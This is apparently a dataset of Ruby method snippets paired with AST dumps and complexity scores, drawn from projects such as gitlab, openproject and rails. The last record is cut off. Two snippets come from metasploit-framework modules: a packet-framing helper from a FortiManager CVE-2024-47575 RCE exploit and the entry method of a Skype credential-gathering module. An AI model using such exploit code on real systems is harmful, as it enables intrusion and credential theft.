{"repo_name":"warden","file_path":"./repos/warden/lib/warden/test/mock.rb","start_line":37,"raw_source":"def app\n        @app ||= begin\n          opts = {\n            failure_app: lambda { |_e|\n              [401, { 'Content-Type' => 'text/plain' }, ['You Fail!']]\n            },\n            default_strategies: :password,\n            default_serializers: :session\n          }\n          Rack::Builder.new do\n            use Warden::Test::Mock::Session\n            use Warden::Manager, opts, &proc {}\n            run lambda { |_e|\n              [200, { 'Content-Type' => 'text/plain' }, ['You Win']]\n            }\n          end\n        end\n      end","complexity_score":33.6,"ast_json":"{\"type\":\"def\",\"children\":[\"app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure_app\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_e\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[401]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"You Fail!\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_strategies\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_serializers\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Builder\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Warden\"]},\"Test\"]},\"Mock\"]},\"Session\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Warden\"]},\"Manager\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_e\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"You Win\"]}]}]}]}]}]}]}]}]}]}","id":"b8724c20-bf18-44e5-89ca-5575e43b5041"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb","start_line":208,"raw_source":"def send_packet(fgfm_sock, data, read: true)\n    packet = [0x36E01100, data.length + 8].pack('NN')\n\n    packet += data\n\n    fgfm_sock.write(packet)\n\n    return nil unless read\n\n    header = fgfm_sock.read(8)\n\n    unless header\n      print_error('Failed to read an FGFM header')\n      return nil\n    end\n\n    magic, len = header.unpack('NN')\n\n    unless magic == 0x36E01100\n      print_error('Bad magic value in FGFM header')\n      return nil\n    end\n\n    unless len >= 8\n      print_error('Bad length value in FGFM header')\n      return nil\n    end\n\n    fgfm_sock.read(len - 8)\n  end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fgfm_sock\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"kwoptarg\",\"children\":[\"read\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[920654080]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[8]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"NN\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fgfm_sock\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"read\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fgfm_sock\"]},\"read\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to read an FGFM header\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"magic\"]},{\"type\":\"lvasgn\",\"children\":[\"len\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"NN\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"magic\"]},\"==\",{\"type\":\"int\",\"children\":[920654080]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Bad magic value in FGFM header\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\">=\",{\"type\":\"int\",\"children\":[8]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Bad length value in FGFM header\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fgfm_sock\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"-\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}","id":"c86925b3-3d5e-4a8f-b4df-084e2e96cc99"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/forms/meeting/time_group.rb","start_line":110,"raw_source":"def duration_value(meeting)\n    if meeting.is_a?(RecurringMeeting) && meeting.template\n      meeting.template.duration\n    else\n      meeting.duration\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"duration_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meeting\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"RecurringMeeting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"template\"]},\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"duration\"]}]}]}","id":"991b888f-c34d-4337-b558-000a46ec58fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/abuse_report.rb","start_line":158,"raw_source":"def past_closed_reports_for_user\n    user.abuse_reports.closed.id_not_in(id)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"past_closed_reports_for_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"abuse_reports\"]},\"closed\"]},\"id_not_in\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"b69cc854-929b-4241-ab07-6be86db9b08b"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/errors.rb","start_line":47,"raw_source":"def self.name_for_response\n        self.name.demodulize.underscore.to_sym\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name_for_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]},\"demodulize\"]},\"underscore\"]},\"to_sym\"]}]}","id":"cdadee4a-bf0d-48a3-aa5c-755bacd0acc9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":943,"raw_source":"def test_empty_string_works_for_typecast_xml_value\n    assert_nothing_raised do\n      ActiveSupport::XMLConverter.new(\"\").to_h\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_empty_string_works_for_typecast_xml_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"XMLConverter\"]},\"new\",{\"type\":\"str\",\"children\":[\"\"]}]},\"to_h\"]}]}]}","id":"840692c5-506b-46b6-8e2c-84c3ca0971e2"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/profiles_controller.rb","start_line":52,"raw_source":"def availability_params\n    params.require(:profile).permit(:account_id, :availability)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"availability_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"profile\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"availability\"]}]}]}","id":"a715a28d-1b47-4047-b21a-8e51a47e8f66"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/client.rb","start_line":34,"raw_source":"def get_builds_for_train(app_id: nil, platform: \"ios\", train_version: nil, retry_count: 3)\n        assert_required_params(__method__, binding)\n        with_retry(retry_count) do\n          response = request(:get, \"providers/#{team_id}/apps/#{app_id}/platforms/#{platform}/trains/#{train_version}/builds\", nil, {}, true)\n          handle_response(response)\n        end\n      end","complexity_score":10.65,"ast_json":"{\"type\":\"def\",\"children\":[\"get_builds_for_train\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"str\",\"children\":[\"ios\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"train_version\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"retry_count\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_required_params\",{\"type\":\"send\",\"children\":[null,\"__method__\"]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_retry\",{\"type\":\"lvar\",\"children\":[\"retry_count\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"providers/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"str\",\"children\":[\"/apps/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"str\",\"children\":[\"/platforms/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"str\",\"children\":[\"/trains/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"train_version\"]}]},{\"type\":\"str\",\"children\":[\"/builds\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]}]}","id":"ca7daaa5-cd17-4eba-ac2c-650cb7745236"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/config_processor.rb","start_line":8,"raw_source":"def self.new tracker\n    if tracker.options[:rails4]\n      Brakeman::Rails4ConfigProcessor.new tracker\n    elsif tracker.options[:rails3]\n      Brakeman::Rails3ConfigProcessor.new tracker\n    else\n      Brakeman::Rails2ConfigProcessor.new tracker\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rails4\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Rails4ConfigProcessor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rails3\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Rails3ConfigProcessor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Rails2ConfigProcessor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]}]}]}]}","id":"ef1fb8e9-8324-4fd9-b238-80d22acdacc7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/skype.rb","start_line":185,"raw_source":"def run\n    salt = get_salt\n    if !salt.nil?\n      get_config_creds(salt)\n    else\n      print_error 'No salt found. Cannot continue without salt, exiting'\n    end\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[null,\"get_salt\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"get_config_creds\",{\"type\":\"lvar\",\"children\":[\"salt\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No salt found. Cannot continue without salt, exiting\"]}]}]}]}]}","id":"6e6fc432-e69d-4008-881f-9a24c9e26b77"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/header_infoline_component.rb","start_line":34,"raw_source":"def initialize(meeting)\n      super\n      @meeting = meeting\n      @series = meeting.recurring_meeting\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meeting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@meeting\",{\"type\":\"lvar\",\"children\":[\"meeting\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@series\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"recurring_meeting\"]}]}]}]}","id":"0cf14f89-f098-4756-b62c-04c0fab931bc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/controllers/time_entries_controller.rb","start_line":198,"raw_source":"def load_and_authorize_optional_project\n    if params[:project_id].present?\n      @project = Project.visible.find(params[:project_id])\n\n      if !User.current.allowed_in_project?(:log_time, @project) &&\n        !User.current.allowed_in_any_work_package?(:log_own_time, in_project: @project)\n        deny_access\n      end\n\n    end\n  rescue ActiveRecord::RecordNotFound\n    deny_access(not_found: true)\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_and_authorize_optional_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"visible\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"log_time\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_any_work_package?\",{\"type\":\"sym\",\"children\":[\"log_own_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"deny_access\"]},null]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"deny_access\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"not_found\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]}]}","id":"8125ae53-eb68-4a4b-8a98-53ac97555200"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/members/base_contract.rb","start_line":76,"raw_source":"def user_allowed_to_manage? # rubocop:disable Metrics/AbcSize, Metrics/PerceivedComplexity\n      # rubocop:disable Performance/RedundantEqualityComparisonBlock\n      if model.project.present? && model.roles.empty?\n        user.allowed_in_any_project?(:manage_members)\n      elsif model.project.present? && model.roles.all? { |r| r.is_a?(ProjectRole) }\n        user.allowed_in_project?(:manage_members, model.project)\n      elsif model.project.nil? && model.roles.any? { |r| r.is_a?(GlobalRole) }\n        user.admin?\n      else\n        # This state is invalid to be saved so other validations will prevent this from being valid\n        # but we cannot tell whether the user is allowed to manage members for this.\n        true\n      end\n      # rubocop:enable Performance/RedundantEqualityComparisonBlock\n    end","complexity_score":47.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_to_manage?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"roles\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_any_project?\",{\"type\":\"sym\",\"children\":[\"manage_members\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"roles\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"ProjectRole\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"manage_members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},\"nil?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"roles\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"GlobalRole\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"admin?\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"d8c0150e-8921-4f6f-ac55-e05323315b9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/cluster.rb","start_line":351,"raw_source":"def connection_data\n      result = ::Gitlab::Kubernetes::KubeClient.graceful_request(id) { kubeclient.core_client.discover }\n\n      { connection_status: result[:status], connection_error: result[:connection_error] }.compact\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"connection_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Kubernetes\"]},\"KubeClient\"]},\"graceful_request\",{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient\"]},\"core_client\"]},\"discover\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"connection_error\"]}]}]}]},\"compact\"]}]}]}","id":"c9063c7e-3d7a-402b-b5e4-4b502dc442f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/validate/after_config.rb","start_line":24,"raw_source":"def break?\n              @pipeline.errors.any?\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"break?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"errors\"]},\"any?\"]}]}","id":"ed012c8d-be8e-49ea-a65f-9e96770ff100"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container_group/purging.rb","start_line":7,"raw_source":"def purge_date\n        ::Settings.container_entities.history.keep_archived_entities.to_i_with_method.seconds.ago.utc\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"container_entities\"]},\"history\"]},\"keep_archived_entities\"]},\"to_i_with_method\"]},\"seconds\"]},\"ago\"]},\"utc\"]}]}","id":"bf79d98f-cb92-4c96-8b61-c60a6b294b69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251016153228_add_group_id_to_slack_integrations.rb","start_line":19,"raw_source":"def down\n    remove_concurrent_index_by_name TABLE_NAME, INDEX_NAME\n\n    with_lock_retries do\n      remove_column TABLE_NAME, COLUMN_NAME, if_exists: true\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"ec60f545-bfdc-40cf-b12b-80eab9af828c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/pypi_packages.rb","start_line":72,"raw_source":"def track_simple_event(group_or_project, event_name)\n        if group_or_project.is_a?(Project)\n          project = group_or_project\n          namespace = group_or_project.namespace\n        else\n          project = nil\n          namespace = group_or_project\n        end\n\n        track_package_event(event_name, :pypi, project: project, namespace: namespace)\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_simple_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_or_project\"]},{\"type\":\"arg\",\"children\":[\"event_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_or_project\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"lvar\",\"children\":[\"group_or_project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_or_project\"]},\"namespace\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"lvar\",\"children\":[\"group_or_project\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"track_package_event\",{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"sym\",\"children\":[\"pypi\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"